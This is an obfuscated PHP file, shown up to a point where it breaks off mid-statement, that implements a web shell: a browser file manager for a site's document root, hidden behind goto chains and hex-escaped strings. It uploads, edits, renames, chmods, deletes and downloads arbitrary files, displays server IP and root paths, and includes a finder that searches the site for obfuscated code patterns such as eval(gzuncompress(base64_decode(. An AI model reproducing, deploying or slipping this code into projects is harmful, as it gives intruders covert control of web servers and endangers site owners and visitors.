"\74\x69\x6e\x70\165\x74\40\x6e\141\x6d\x65\75\x22\156\145\167\137\144\x69\x72\x22\40\x73\151\x7a\x65\75\42\x37\x22\40\164\171\160\145\x3d\x22\164\145\x78\x74\42\x20\160\x6c\x61\x63\x65\150\x6f\x6c\144\145\x72\75\x22\155\x61\x6b\x65\40\144\151\x72\42\x20\x2f\76"; goto d0wSv; d0wSv: echo "\74\x69\156\160\165\164\x20\164\171\160\145\75\x22\x73\x75\x62\x6d\151\164\42\x20\x76\141\x6c\165\145\x3d\x22\157\153\x22\x20\x2f\x3e\74\x2f\146\x6f\x72\155\x3e"; goto ELp1c; w3ghS: } goto aG0QO; COt53: mIiwr: goto rpWrK; QBzEt: $IPQ4C = $_SERVER["\x44\117\x43\125\115\105\116\124\x5f\122\x4f\117\x54"] . "\x2f" . $_POST["\x6e\145\167\x5f\x66\x69\154\145\x5f\156\x61\155\145"]; goto SXqoj; YyWVE: echo "\x3c\x3c\57\x69\x6e\146\x6f\x3e\76"; goto LlN2X; mhAr8: if (!file_exists($LVHM1)) { goto KPoDD; } goto PeNym; YQI0w: SF9l9: goto iS9Qv; AkqFE: $O_nX1 = "\x6d\165\x6c\x74\x69\160\141\x72\164\57\x66\157\x72\155\x2d\x64\141\164\x61"; goto mhAr8; GxcqR: foreach ($AwS1q as $aRFcW) { goto uRzJS; vbJoK: echo $xF5EP . "\x20\55\x20\156\x6f\x74\40\162\145\x6d\x6f\x76\x65\x64" . "\12"; goto TLb9j; HQ4fI: if (!file_exists($aRFcW)) { goto KMGyn; } goto vbJoK; KdyGk: echo $xF5EP . "\x20\x2d\x20\x6e\x6f\164\x20\x66\x6f\165\156\x64" . "\xa"; goto OtrWE; S6bpf: QXJU5: goto zhbL9; uRzJS: $aRFcW = strstr($aRFcW, "\57"); goto YF9TX; YF9TX: $aRFcW = $_SERVER["\104\x4f\x43\125\x4d\105\116\124\137\x52\117\117\124"] . "\57" . $aRFcW; goto I1AIA; TLb9j: goto fCrcW; goto D5BuW; JNAnO: POUnC: goto AVdBK; OtrWE: goto x854H; goto S6bpf; I1AIA: $xF5EP = str_replace($_SERVER["\104\117\x43\x55\115\x45\116\x54\x5f\122\x4f\117\x54"], $_SERVER["\123\x45\122\x56\105\x52\x5f\x4e\101\115\x45"], $aRFcW); goto FQjuA; hmb1g: echo $xF5EP . "\x20\55\x20\x72\145\x6d\x6f\x76\145\144" . "\12"; goto RTR3U; JsvhI: x854H: goto JNAnO; zhbL9: K42_A($aRFcW); goto HQ4fI; FQjuA: if (file_exists($aRFcW)) { goto QXJU5; } goto KdyGk; RTR3U: fCrcW: goto JsvhI; D5BuW: KMGyn: goto hmb1g; AVdBK: } goto eiRoP; vZiHl: goto v72Sw; goto DBso8; Os2LY: header("\103\157\156\x74\x65\156\164\55\124\162\141\x6e\163\146\x65\162\x2d\105\156\143\157\x64\151\156\x67\72\x20\142\151\156\x61\162\171"); goto hK2iH; azmBn: sMfdf: goto pWX8X; lpqUu: Jo9v7: goto Khfj4; XrWmz: goto t4szg; goto Qqaej; HVySL: goto A6Feg; goto OsDqU; E6kP1: t4szg: goto Xx52W; dSQ0H: goto DtKRY; goto KSayd; fFR2Q: foreach ($eGMU5 as $aRFcW) { goto BRdYg; nkNC4: if (is_dir($x8ZI0)) { goto h0gPC; } goto bLoUu; bLoUu: $X2rlt[] = $aRFcW; goto BgAEe; BRdYg: $x8ZI0 = $aRFcW; goto XYBlR; AF31z: $PsOqw[] = $aRFcW; goto Pk5pP; AmB76: GcK34: goto EA0D9; wxBxg: $x8ZI0 = $_SERVER["\x44\x4f\x43\125\115\x45\x4e\124\x5f\122\x4f\117\x54"] . "\57" . $aRFcW; goto s32lj; s32lj: goto YHFvs; goto TrZCw; TMEIo: h0gPC: goto AF31z; oWY29: $x8ZI0 = $_GET["\x64\x69\x72"] . "\57" . $aRFcW; goto GARwc; TrZCw: rQn6J: goto oWY29; BgAEe: goto qi1Yw; goto TMEIo; GARwc: YHFvs: goto nkNC4; Pk5pP: qi1Yw: goto AmB76; XYBlR: if (isset($_GET["\144\x69\x72"])) { goto rQn6J; } goto wxBxg; EA0D9: } goto dVb3a; YCQAs: $WRsqg = "\150\x74\x74\x70\x3a\x2f\57" . $tiXjA . $rH_un . "\77\x64\x69\162\x3d" . $_GET["\144\x69\x72"] . "\46\x65\144\x69\x74\x3d" . $YH3Np; goto MNGK8; pWX8X: goto nKuLU; goto XnOwQ; WQipj: h7mDA: goto A4mDU; xR3oa: echo $krXcm; goto wBJwF; zZMIn: b_W5p: goto QBzEt; DzHrz: echo "\x3c\150\x72\x3e\x3c\x68\162\x3e\74\57\x74\144\76"; goto rsKFA; DgNIn: echo "\74\57\164\x69\x74\154\145\76\xd\12\11\74\x73\x74\x79\154\x65\40\164\x79\x70\145\x3d\x22\164\145\x78\x74\57\143\163\163\42\x3e\xd\12\x9\111\x4e\120\125\124\133\164\x79\x70\x65\75\x22\x74\x65\170\x74\42\135\40\173\x62\x61\143\153\x67\162\x6f\165\x6e\x64\x2d\x63\x6f\x6c\157\162\72\40\x23\146\146\146\x38\145\x37\73\x7d\11\x62\157\144\x79\173\142\141\143\x6b\147\162\157\x75\156\x64\72\x20\43\x66\146\x66\x38\145\67\73\x63\157\x6c\x6f\162\x3a\x20\x23\x34\143\65\x38\66\66\73\146\x6f\x6e\x74\55\146\x61\155\151\154\171\72\x20\x56\x65\x72\144\141\156\141\x3b\146\x6f\156\164\x2d\x73\151\x7a\145\72\x20\x31\x31\x70\x78\x3b\x7d\15\12\x9\x61\72\x6c\151\156\x6b\173\x63\x6f\x6c\157\162\72\40\43\63\x33\x43\103\71\x39\73\x7d\x9\x61\72\x76\151\163\x69\x74\x65\x64\x7b\x63\157\x6c\x6f\162\x3a\40\43\63\x33\x43\103\71\x39\73\x7d\x9\141\x3a\x68\x6f\166\x65\x72\173\164\145\x78\x74\55\144\x65\143\x6f\162\141\x74\151\157\156\72\40\156\157\x6e\x65\73\x43\x6f\x6c\157\162\x3a\40\x23\63\63\71\71\x46\x46\73\175\164\x61\x62\154\145\x20\173\146\x6f\x6e\164\x2d\x73\151\x7a\145\72\40\61\61\160\x78\x3b\x7d\15\12\x9\x74\x64\x20\x7b\160\x61\144\x64\x69\x6e\x67\72\40\x31\x70\170\73\x70\x61\144\144\151\x6e\x67\x2d\x6c\x65\146\x74\72\40\61\60\x70\170\73\160\x61\x64\144\151\x6e\147\55\x72\x69\x67\x68\164\72\x20\x31\x30\x70\x78\x3b\160\141\144\144\151\x6e\147\x2d\164\157\x70\72\40\x32\x70\170\x3b\x7d\xd\xa\11\74\x2f\163\164\x79\154\x65\76\15\12\74\x2f\150\x65\x61\x64\76\xd\12\x3c\142\157\144\171\x3e\xd\12\x3c\x74\141\x62\154\x65\40\x63\145\x6c\154\160\x61\144\144\151\x6e\147\x3d\42\x35\x22\40\167\x69\x64\164\150\75\42\x38\60\x25\42\76\15\xa"; goto Oor_g; LqCSu: $YH3Np = $_GET["\144\x69\162"] . "\57" . $_POST["\156\145\167\137\x64\151\x72"]; goto Ajdfw; XhYgG: goto DtKRY; goto wh1kc; Nq5mG: if (isset($_GET["\144\151\162"])) { goto oxtei; } goto NCLrs; nBHUC: echo "\74\141\40\x68\x72\145\146\75\x22" . "\x68\x74\x74\x70\72\x2f\x2f" . $tiXjA . $rH_un . "\77\144\x69\162\75" . $_SERVER["\104\x4f\x43\125\x4d\x45\116\x54\x5f\122\x4f\x4f\124"] . "\42\x3e" . $_SERVER["\104\117\x43\125\115\x45\116\124\137\122\117\117\124"] . "\x3c\x2f\141\76"; goto N2El5; N0krE: if (!file_exists($LVHM1)) { goto XsCHf; } goto VFSRw; gKZbw: echo "\74\164\144\x3e\x3c\150\x72\x3e\x3c\150\162\76"; goto cuNWB; dFemT: if (sizeof($_FILES) != 0) { goto CHbCB; } goto AMpir; dk9dU: if (!($fGyii < 900)) { goto mBLAe; } goto XMvqS; JXY_o: goto eCw_M; goto ShDft; pe57W: $krXcm = str_replace($_SERVER["\x44\117\x43\x55\115\105\x4e\124\x5f\x52\x4f\x4f\124"], $_SERVER["\123\105\x52\x56\x45\x52\137\116\101\115\x45"], $_SERVER["\x53\103\x52\111\x50\x54\137\106\x49\114\x45\x4e\101\x4d\x45"]); goto XmEdp; lYLKg: if (!empty($_POST["\156\x65\167\137\146\151\x6c\145"])) { goto JcQiu; } goto vhxAZ; JkPJq: if (isset($_GET["\x64\151\x72"])) { goto PK8IZ; } goto RN4OF; Zq88C: function K42_a($yP63Y) { goto JLfzQ; MVJW3: goto nkLG4; goto xfklv; Pkys5: ZbOrd: goto Ypnv6; kuIQ1: FfZ3Z: goto kRtp1; hHdm8: if (!chmod($yP63Y, 0755)) { goto gOCba; } goto kCQpZ; su4GO: return "\157\153\41"; goto MVJW3; T2req: nkLG4: goto w9WVY; kCQpZ: if (!unlink($yP63Y)) { goto lB_ni; } goto su4GO; Ypnv6: return "\146\x69\154\145\x20\x6e\157\x74\40\145\170\x69\163\x74\x73"; goto OLXsl; s1YAw: return "\x63\x61\156\x20\156\x6f\x74\40\x64\x65\x6c\x65\164\x65\x21"; goto T2req; OLXsl: ehTGb: goto Y30HZ; gIg7R: gOCba: goto xqiRM; hH3lL: return "\x6f\x6b\x21"; goto vZkVc; w9WVY: goto FfZ3Z; goto gIg7R; n79lX: if (!unlink($yP63Y)) { goto XwetN; } goto hH3lL; WKdyP: goto ehTGb; goto Pkys5; vZkVc: goto vD2Mo; goto g9GaT; xfklv: lB_ni: goto s1YAw; g9GaT: XwetN: goto hHdm8; JLfzQ: if (!file_exists($yP63Y)) { goto ZbOrd; } goto n79lX; xqiRM: return "\156\x6f\x20\150\x61\166\x65\x20\x70\145\162\x6d\151\163\x73\151\157\x6e\40\x66\157\x72\x20\x63\150\x6d\157\144\41"; goto kuIQ1; kRtp1: vD2Mo: goto WKdyP; Y30HZ: } goto s_MT1; VItN2: echo "\x3c\x62\x72\x3e\15\12\x9\x9\11\x52\x6f\157\x74\x3a\x20"; goto nBHUC; p11Xc: $lTJFo = 0; goto IxZR9; UWCFz: $WRsqg = "\x68\164\x74\160\x3a\57\x2f" . $tiXjA . $rH_un . "\x3f\x64\x69\162\x3d" . $_GET["\144\x69\x72"] . "\x26\145\x64\x69\x74\x3d" . $IPQ4C; goto QBIeJ; S9BlA: D1NpE: goto URiPm; uBanp: ahrJI: goto dk9dU; pX0II: qfsZl: goto quVmR; Xx52W: $QC0Uk = $YH3Np . "\x2f" . $_FILES["\x69\156\160\x75\164\146\151\x6c\145"]["\x6e\x61\x6d\145"]; goto eqtSO; i76K3: header("\x43\157\156\164\x65\156\x74\x2d\x4c\x65\156\x67\164\x68\72\40" . filesize($uMTgE)); goto gjdvd; vhxAZ: if (!empty($_POST["\x6e\x65\x77\137\x64\151\x72"])) { goto RXdg4; } goto K1SsF; sEv2r: goto w4ck9; goto zZMIn; eqtSO: move_uploaded_file($_FILES["\151\x6e\160\x75\x74\146\x69\154\145"]["\x74\155\160\x5f\x6e\x61\x6d\x65"], $QC0Uk); goto jw9Iq; DAnsC: $krXcm = "\x68\x74\x74\160\72\57\57" . $krXcm . "\x3f\146\x69\156\x64\145\x72"; goto iGqS5; cC4V5: $YH3Np = $_SERVER["\x44\117\x43\125\115\105\x4e\124\137\122\117\117\x54"]; goto XrWmz; ypETz: foreach ($tfU2K as $aRFcW) { goto vX1PV; niE8s: $pz23y = str_replace($_SERVER["\104\117\x43\x55\x4d\105\116\x54\137\122\117\117\124"], $_SERVER["\123\105\122\126\x45\122\x5f\116\101\x4d\105"], $aRFcW); goto PMZGA; fYaqx: $ng2Fq = F6hoi($aRFcW); goto niE8s; xtVga: L1F91: goto fYaqx; ogtKK: $WdlM7 = $_GET["\x64\151\162"]; goto xtVga; vX1PV: if (!($aRFcW !== null and $aRFcW !== '' and $aRFcW !== "\40")) { goto zFTQs; } goto gEKBa; ox874: $WdlM7 = $_SERVER["\104\117\x43\125\115\105\x4e\x54\x5f\x52\x4f\117\x54"]; goto MvvWt; e3rJh: V4R1R: goto yAwob; MvvWt: goto L1F91; goto JRoAY; JRoAY: jrpG1: goto ogtKK; gEKBa: if (isset($_GET["\x64\151\x72"])) { goto jrpG1; } goto ox874; PMZGA: echo "\x3c\x74\x72\40\x62\x67\x63\x6f\x6c\157\162\x3d\42\43\x66\146\x66\x66\x66\146\42\40\141\x6c\x69\147\156\x3d\42\143\x65\x6e\164\145\x72\x22\x3e\74\x74\144\x20\x61\154\x69\x67\156\x3d\42\154\x65\x66\x74\42\x20\76" . "\74\141\40\163\164\x79\x6c\x65\75\x22\164\145\170\x74\x2d\x64\x65\x63\x6f\x72\141\x74\x69\x6f\x6e\72\40\x6e\x6f\x6e\145\73\42\40\150\162\145\x66\75\x22\x68\164\164\x70\72\x2f\57{$tiXjA}{$rH_un}\77\145\x64\151\x74\x3d{$aRFcW}\46\144\x69\x72\75{$WdlM7}\x22\76\74\x66\x6f\156\164\x20\x63\x6f\154\157\162\75\x22\142\x6c\141\143\x6b\x22\x3e{$aRFcW}\x3c\57\146\x6f\x6e\164\x3e\74\57\141\76" . "\x3c\x2f\x74\144\76\74\164\144\76" . dJ8ZX($aRFcW) . "\x3c\57\x74\x64\76\x3c\164\144\x3e{$ng2Fq}\74\57\164\144\76\74\164\144\76" . QFocs($aRFcW, "\x30") . "\x3c\x2f\164\x64\x3e\x3c\164\144\76" . "\74\141\x20\150\x72\x65\146\x3d\42\150\164\x74\x70\72\57\x2f{$tiXjA}{$rH_un}\77\144\x65\x6c\75{$aRFcW}\46\144\x69\162\75{$WdlM7}\42\x3e\x55\74\x2f\141\x3e\x26\x6e\142\x73\x70\x3b" . "\x3c\x61\40\x68\162\x65\146\x3d\42\x68\164\164\x70\x3a\57\x2f{$tiXjA}{$rH_un}\x3f\x65\144\x69\x74\75{$aRFcW}\x26\144\151\x72\75{$WdlM7}\x22\x3e\x45\x3c\x2f\141\76\x26\156\x62\x73\x70\73" . "\74\x61\40\x74\x61\162\147\145\164\75\x22\x5f\x62\x6c\x61\156\x6b\x22\x20\150\162\145\x66\x3d\x22\150\x74\x74\160\72\57\x2f{$pz23y}\x22\x3e\x4f\74\57\x61\76\x26\156\x62\163\x70\73" . "\x3c\141\x20\150\x72\145\x66\x3d\42\150\x74\x74\160\72\57\x2f{$tiXjA}{$rH_un}\x3f\x64\157\167\x6e\154\157\x61\144\x3d{$aRFcW}\46\x64\151\x72\75{$WdlM7}\42\x3e\104\74\57\141\76" . "\74\57\164\x64\76\x3c\x2f\164\162\76"; goto dFarI; dFarI: zFTQs: goto e3rJh; yAwob: } goto mKpZP; CTwzq: if (!isset($_GET["\146\151\156\x64\x65\x72"])) { goto qfsZl; } goto AjkN9; nZFnd: $X2rlt = array(); goto fj4qF; eWhCY: $Uhl9b = "\145\x76\141\x6c\x28\x67\x7a\x75\156\143\157\x6d\x70\x72\x65\x73\x73\50\142\x61\x73\145\x36\x34\137\x64\x65\x63\x6f\x64\145\50"; goto j9Vvp; YqLrR: if (count($xHyVF) > 0) { goto CIhmj; } goto xmtPu; xWFjM: $WdlM7 = $_GET["\x64\151\162"]; goto n1flM; ljw5y: uBEZG: goto CTwzq; VMQbE: header("\103\x6f\156\x74\x65\156\164\x2d\104\145\x73\143\x72\x69\x70\x74\x69\157\x6e\x3a\x20\106\151\154\145\40\x54\162\x61\x6e\163\x66\x65\x72"); goto ajcz4; Pa12b: if (isset($_GET["\144\151\x72"])) { goto bY9Gv; } goto V9lRk; al_Ge: MYtjj: goto Id838; ABBaj: s0yqd: goto mUTTU; KOwQJ: $SPEIU = count($Y4VLf) - 1; goto KW5Mh; wvEmM: $INQmn = sbDa9($_SERVER["\x44\117\x43\x55\x4d\x45\x4e\124\137\122\x4f\x4f\x54"]); goto xDoQo; hWJWm: goto fVRtg; goto EumIN; fj4qF: echo "\11\x3c\164\162\40\141\154\x69\147\156\x3d\x22\154\x65\x66\164\42\76\xd\12\x9\x9\74\x74\144\x20\x63\x6f\154\x73\160\x61\156\x3d\42\x33\x22\76\15\12\11\11"; goto dFemT; W3N1P: function QFoCS($kbA9x, $ScU6X) { goto x3tFD; Lc8Vz: if ($ScU6X == 1) { goto KvJOX; } goto gZx0D; bzBng: goto avo9F; goto MFeYn; rxw1g: goto yzzJU; goto B46pd; xe8ul: goto avo9F; goto XTp_g; vBrAy: $TN_hj = "\x67\x72\145\x65\x6e"; goto kBPEX; x3tFD: $t6dtq = substr(decoct(fileperms($kbA9x)), -3); goto gxRHk; s0ARj: goto avo9F; goto zQTx2; ZvBgE: return $t6dtq; goto tizoj; AyeyB: goto avo9F; goto WAwH7; tc6vQ: avo9F: goto Lc8Vz; LMTyD: $TN_hj = "\43\x32\x45\x43\x38\x34\62"; goto xe8ul; EozXd: ysovQ: goto LMTyD; h0nbb: $TN_hj = "\157\162\141\x6e\147\x65"; goto bzBng; MFeYn: YzzQB: goto AhumL; WAwH7: oWoYP: goto vBrAy; ZjdOV: $TN_hj = "\147\162\x65\x79"; goto AyeyB; gxRHk: if ($t6dtq == "\66\64\x34") { goto oWoYP; } goto XO0tR; Ejvrk: if ($t6dtq == "\x36\66\x34") { goto YzzQB; } goto ZjdOV; nW6aX: if ($t6dtq == "\x37\64\x34") { goto AR2ZM; } goto Ejvrk; f8oAE: if ($t6dtq == "\60\x30\60") { goto h2cF9; } goto nW6aX; jfQmC: $TN_hj = "\162\145\x64"; goto s0ARj; B46pd: KvJOX: goto ZvBgE; gZx0D: return "\74\x66\157\156\x74\x20\x63\x6f\154\157\x72\x3d{$TN_hj}\76" . $t6dtq . "\x3c\57\146\157\x6e\164\76"; goto rxw1g; kBPEX: goto avo9F; goto EozXd; XO0tR: if ($t6dtq == "\x37\65\x35") { goto ysovQ; } goto wrdWP; TJwsG: $TN_hj = "\142\162\157\167\156"; goto qK2cL; qK2cL: goto avo9F; goto ZLiAg; wrdWP: if ($t6dtq == "\64\x34\64") { goto scPsM; } goto f8oAE; XTp_g: scPsM: goto TJwsG; ZLiAg: h2cF9: goto jfQmC; AhumL: $TN_hj = "\x67\162\145\x65\x6e"; goto tc6vQ; tizoj: yzzJU: goto tlBU0; zQTx2: AR2ZM: goto h0nbb; tlBU0: } goto VLOb9; hxm19: $E26bx = "\74\146\157\x6e\x74\x20\x63\157\154\x6f\x72\x3d\42\x72\x65\144\42\76\74\142\x3e\116\141\x6d\x65\x20\x63\x61\x6e\40\x6e\x6f\x74\40\x62\x65\40\143\150\x61\156\147\x65\x64\x3c\57\x62\x3e\x3c\57\146\157\156\164\76"; goto ZW48V; iS9Qv: $iecrC = $_POST["\x73\145\141\x72\x63\x68\137\x66\151\154\x65"]; goto QYGjg; lMW_6: echo "\x9\11\x9\xd\12\11\11\11\xd\12\11\11\74\x2f\164\x64\x3e\15\12\11"; goto IEHlK; rsKFA: exit; goto dIa75; gp6Fa: HN7LL($_GET["\x64\145\154"]); goto COt53; K1SsF: if (!empty($_POST["\x73\x65\141\162\143\x68\137\x66\151\154\x65"])) { goto SF9l9; } goto dSQ0H; QS_a0: PK8IZ: goto LqCSu; BiqSV: $Y4VLf = explode("\57", $YH3Np); goto KOwQJ; wBJwF: echo "\x27\x22\x2c\x20\144\145\154\141\x79\51\x3b\15\xa\x9\x9\x9\x3c\57\x73\143\162\151\160\x74\x3e\xd\xa\x9\x9\x9"; goto azmBn; ShDft: On1YF: goto k1FGr; fZ86l: if (rename($_GET["\x72\145\156\x61\x6d\x65"], $_POST["\x6e\137\156\x61\155\x65"])) { goto eVo64; } goto hxm19; Z5dSH: if (!isset($_GET["\x64\145\x6c"])) { goto heiwi; } goto alUgM; vLt1i: goto lrDxO; goto DtoT2; V9lRk: $bcoBe = $_SERVER["\x53\x43\x52\111\120\124\137\116\x41\x4d\105"] . "\77\144\151\x72\x3d" . $_SERVER["\x44\x4f\x43\125\115\105\116\x54\137\122\117\117\x54"]; goto HVySL; fB5ei: $qO7GR[] = trim($xHyVF[$lTJFo]); goto ZdxG5; xmtPu: echo "\x3c\x74\162\x3e\74\164\144\x3e\106\151\156\x69\x73\150\41\74\x2f\x74\x64\76\74\57\164\x72\76"; goto hWJWm; vOJVg: wUtRW: goto SDyAQ; U_S5n: $xCcCg[] = $pCROI; goto S_PCO; q9L4Q: function Sbda9($RsTeg) { goto kAn0c; icxLi: if (!($yP63Y != "\56" && $yP63Y != "\56\56")) { goto Q7VQ0; } goto mShzC; UgC9i: $yH0X2[] = $R4tID; goto vzBIT; mShzC: $R4tID = $RsTeg . "\x2f" . $yP63Y; goto R71Y1; kEWQu: chmod($RsTeg, 0755); goto TUczW; Inyn2: $vguCE = array(); goto OymQR; vzBIT: sBiSE: goto GqzrJ; OymQR: if ($hCGjI = opendir($RsTeg)) { goto KNIur; } goto kEWQu; P48z7: cqWcM: goto ZaYcv; L8M6P: if (!(($yP63Y = readdir($hCGjI)) !== false)) { goto jowkZ; } goto icxLi; W8VXH: $aBE0N = stristr($R4tID, $_SERVER["\x53\103\122\x49\120\x54\x5f\x46\111\x4c\x45\116\101\x4d\105"]); goto Wu6zj; MxItn: goto JGI8Q; goto lVXip; ZaYcv: Q7VQ0: goto MxItn; BhoTV: Sbda9($R4tID); goto P48z7; FUhfA: hin9d: goto BhoTV; kAn0c: global $yH0X2; goto Inyn2; EGU8n: return $yH0X2; goto AvbiS; R71Y1: if (is_dir($R4tID)) { goto hin9d; } goto W8VXH; lVXip: jowkZ: goto vMzaM; GqzrJ: goto cqWcM; goto FUhfA; Wu6zj: if (!($aBE0N == false)) { goto sBiSE; } goto UgC9i; TUczW: KNIur: goto Bkt3Y; Bkt3Y: $hCGjI = opendir($RsTeg); goto dylZT; vMzaM: closedir($hCGjI); goto EGU8n; dylZT: JGI8Q: goto L8M6P; AvbiS: } goto BTQuz; K4T9u: foreach ($xHyVF as $YXVTp) { goto yZgsR; yZgsR: if (!($YXVTp !== null and $YXVTp !== '' and $YXVTp !== "\x20")) { goto I2rFu; } goto nZYhx; OTQJi: I2rFu: goto Dwm2s; Dwm2s: YUn0X: goto Ui1Ah; nZYhx: fwrite($nesCN, $YXVTp . "\xa"); goto OTQJi; Ui1Ah: } goto WQipj; r_dx8: m1E4j: goto WYnF3; yQJJH: echo "\x3c\x62\162\x3e\xd\12\11\x9\11\x53\145\x72\166\x65\x72\40\x49\x50\x3a\40"; goto p6eeJ; t3XzZ: goto QpuYE; goto ZfHNv; FSSj_: $KIdf7 = "\x40\162\145\161\165\x69\162\145"; goto eWhCY; FSPcb: echo "\x3c\146\157\x6e\x74\40\x63\x6f\x6c\x6f\162\75\42\x67\x72\x65\x65\x6e\x22\x3e\74\x62\x3e" . "\x3c\x61\40\x74\141\162\147\x65\x74\x3d\42\137\x62\x6c\x61\x6e\153\x22\x20\150\x72\x65\146\x3d\x22\150\x74\x74\x70\72\57\57{$iKJsi}\42\x3e\106\x69\154\145\40\x55\160\154\157\x61\144\145\x64\x21\x3c\x2f\141\76" . "\x3c\x2f\142\x3e\x3c\57\146\x6f\x6e\164\x3e"; goto al_Ge; GlN4t: bw5UM($WRsqg); goto usbXM; Xr_Uy: echo $bcoBe; goto dC3vt; S_PCO: l4k9e: goto MEUoa; oHGuY: $WRsqg = "\150\164\x74\160\72\x2f\57" . $tiXjA . $rH_un . "\x3f\x64\151\162\x3d" . $_SERVER["\104\x4f\103\125\115\105\x4e\124\137\x52\117\x4f\124"]; goto sEv2r; AIGwE: goto FiNWd; goto lt9Ny; L_zMi: echo "\74\x66\157\x6e\164\40\143\157\x6c\x6f\162\x3d\42\x72\145\144\42\76\103\141\156\x20\x6e\x6f\x74\40\x63\162\x65\141\164\145\41\74\x2f\146\157\x6e\164\76"; goto q7a80; j9Vvp: $oQDq2 = "\x40\151\x6e\x63\154\x75\144\x65\40\x22\x5c\170\x32"; goto Li1aH; TyPgJ: wyPiR: goto h1dM_; ufhIW: $uMTgE = $_GET["\144\157\167\x6e\x6c\x6f\x61\x64"]; goto aMTn9; NYfcJ: F9Jn3: goto pe57W; OsDqU: bY9Gv: goto CvnFF; gDpaI: mBLAe: goto JlVYR; wr6z_: gnXf4: goto RV5Zh; YVz_a: $tiXjA = $_SERVER["\123\x45\x52\126\105\x52\137\x4e\101\115\x45"]; goto fsTym; Jzm_I: cUngT: goto HKKM1; q3tvs: function KaFE1($yP63Y, $ZhIOY) { goto H8GlI; ZD3Dw: goto EuO60; goto UKWqJ; vnGpy: echo "\x3c\164\x65\170\x74\x61\x72\145\x61\x20\156\141\155\145\40\75\x20\x27\156\145\167\47\x20\x72\x6f\167\163\40\x3d\40\47\x32\x30\x27\40\x63\x6f\x6c\163\40\75\x20\x27\61\62\60\47\76" . $uVE1Y . "\74\57\164\145\170\x74\141\x72\x65\x61\76\74\142\x72\x3e\12"; goto tXYIT; tgGMv: if ($_POST["\143\150\x6d"] == "\60\64\x34\x34") { goto I2sHN; } goto UcZ_Y; k6U_k: $ukr3B = fopen($yP63Y, "\167"); goto FDsVZ; hH54i: b2Oae: goto ZWLEj; G0QMD: if (chmod($yP63Y, 0444)) { goto yM4kr; } goto c_oVw; sUMsf: echo "\x3c\151\156\160\x75\164\x20\164\171\160\145\x3d\42\163\165\142\155\151\x74\x22\40\x76\x61\154\165\145\75\x22\157\153\42\40\x2f\x3e\x3c\x2f\x66\157\162\155\x3e\74\57\x74\x64\76\74\x2f\x74\162\x3e\12"; goto xLs3f; iJBn_: goto cTe4a; goto yXb94; y1a8B: mE3AV: goto hYqZN; hSDfG: $RCJ7g = "\x3c\x66\157\x6e\x74\40\x63\x6f\x6c\x6f\162\x3d\x22\162\145\144\x22\x3e\x3c\x62\76\125\x6e\141\x62\x6c\145\40\x63\x68\x61\x6e\147\x65\x20\160\145\162\x6d\151\163\163\x69\157\156\41\x3c\57\x62\76\x3c\57\146\x6f\156\164\x3e"; goto emZot; u1RXl: echo "\x3c\164\162\x3e\x3c\x74\144\40\x61\154\x69\x67\156\75\42\x6c\145\x66\x74\42\x3e\74\x66\x6f\162\x6d\40\141\x63\x74\x69\x6f\156\40\75\40\x27\150\164\164\x70\72\57\x2f" . $ZhIOY . "\x3f\x65\144\x69\164\x3d" . $yP63Y . "\x26\144\151\162\75" . $h3fzG . "\47\40\155\145\x74\x68\157\x64\40\x3d\x20\47\120\x4f\x53\124\x27\76\xa"; goto PcqKS; Fm89Q: fclose($ukr3B); goto WFkVN; zGmVZ: $B_RMp = "\x20\55\40\x3c\146\157\156\x74\x20\x63\x6f\x6c\157\x72\75\42\x67\x72\x65\x65\156\42\x3e\x3c\142\x3e\105\x64\x69\x74\x65\144\41\x3c\57\142\x3e\x3c\x2f\146\157\x6e\x74\76"; goto yqj7X; p2Jnq: $uVE1Y = $_POST["\156\145\167"] . $uVE1Y; goto dFkxS; HnFqa: $uVE1Y = "\x63\141\x6e\47\164\x20\163\x68\x6f\x77"; goto FSjO8; Ug9z4: srade: goto PJ79K; c_oVw: return "\156\x6f\x20\150\x61\x76\x65\x20\160\145\162\x6d\x69\163\163\151\157\x6e\x20\146\x6f\x72\40\143\150\x6d\157\x64\x21"; goto ACVtN; fyYDR: $RCJ7g = "\74\146\x6f\x6e\x74\x20\143\157\154\x6f\162\75\x22\x67\162\x65\x65\x6e\x22\76\74\142\x3e\120\145\162\155\151\163\x73\151\157\x6e\40\143\x68\141\x6e\147\145\x64\41\x3c\x2f\142\x3e\74\57\x66\x6f\156\x74\x3e"; goto u4zu9; p7lVx: fclose($ukr3B); goto G0QMD; X3_ML: $uVE1Y = str_replace("\74\164\x65\170\x74\x61\162\x65\141\x3e", "\74\164\x65\170\x74\x61\x72\145\x61\x3e", $uVE1Y); goto PmD8y; rEKJH: if (chmod($yP63Y, 0444)) { goto q1SqV; } goto juzL0; AJV1H: goto yHIcm; goto oByT_; xLs3f: uO2cR: goto RMtT3; FNn5T: JxiRZ: goto SfDMo; kaLFn: echo "\74\x74\x65\x78\164\x61\162\145\x61\40\x6e\x61\155\145\x20\75\40\x27\156\145\167\x27\x20\x72\x6f\167\x73\x20\x3d\x20\x27\x32\60\47\x20\143\157\x6c\163\x20\x3d\40\47\61\x32\x30\x27\x3e" . $uVE1Y . "\x3c\x2f\164\x65\x78\x74\x61\162\145\x61\76\74\x62\x72\x3e\xa"; goto FT1CZ; Nf4RM: if (chmod($yP63Y, 0444)) { goto JxiRZ; } goto jbAEi; udin1: pW43Q: goto tbHrj; tXYIT: echo "\x3c\x64\x69\166\x20\141\154\151\x67\x6e\75\42\x72\151\147\150\x74\x22\76\x3c\x62\x72\76\x3c\151\156\160\165\x74\x20\x74\x79\x70\x65\40\75\x20\x27\x73\165\142\x6d\x69\164\47\x20\x76\141\154\x75\x65\x20\75\x20\47\x53\x61\x76\x65\47\76\74\x2f\144\x69\166\76\x3c\57\146\157\x72\x6d\x3e\x3c\x2f\164\144\x3e\74\x2f\x74\x72\x3e\12"; goto u1RXl; dQQsL: goto uO2cR; goto Ze4sz; MuyRr: bgvsH: goto Uf9Rd; OY9vS: echo "\74\151\x6e\160\165\164\x20\164\171\160\x65\75\42\164\x65\x78\164\x22\40\156\x61\x6d\145\75\x27\x6e\137\156\141\x6d\145\47\x20\x73\151\x7a\145\75\x22\x37\62\x22\40\x76\141\x6c\165\x65\75\x22{$yP63Y}\42\x3e"; goto wG1Mq; jbAEi: $RCJ7g = "\x3c\x66\x6f\156\x74\40\x63\157\154\157\162\75\42\x72\145\144\42\x3e\x3c\x62\x3e\125\156\x61\x62\x6c\145\x20\143\x68\141\156\147\145\x20\x70\145\x72\x6d\151\x73\x73\x69\157\156\x21\74\x2f\142\76\74\x2f\146\x6f\156\164\76"; goto h0J6J; yXb94: iyFQz: goto YWeyC; XirwY: return 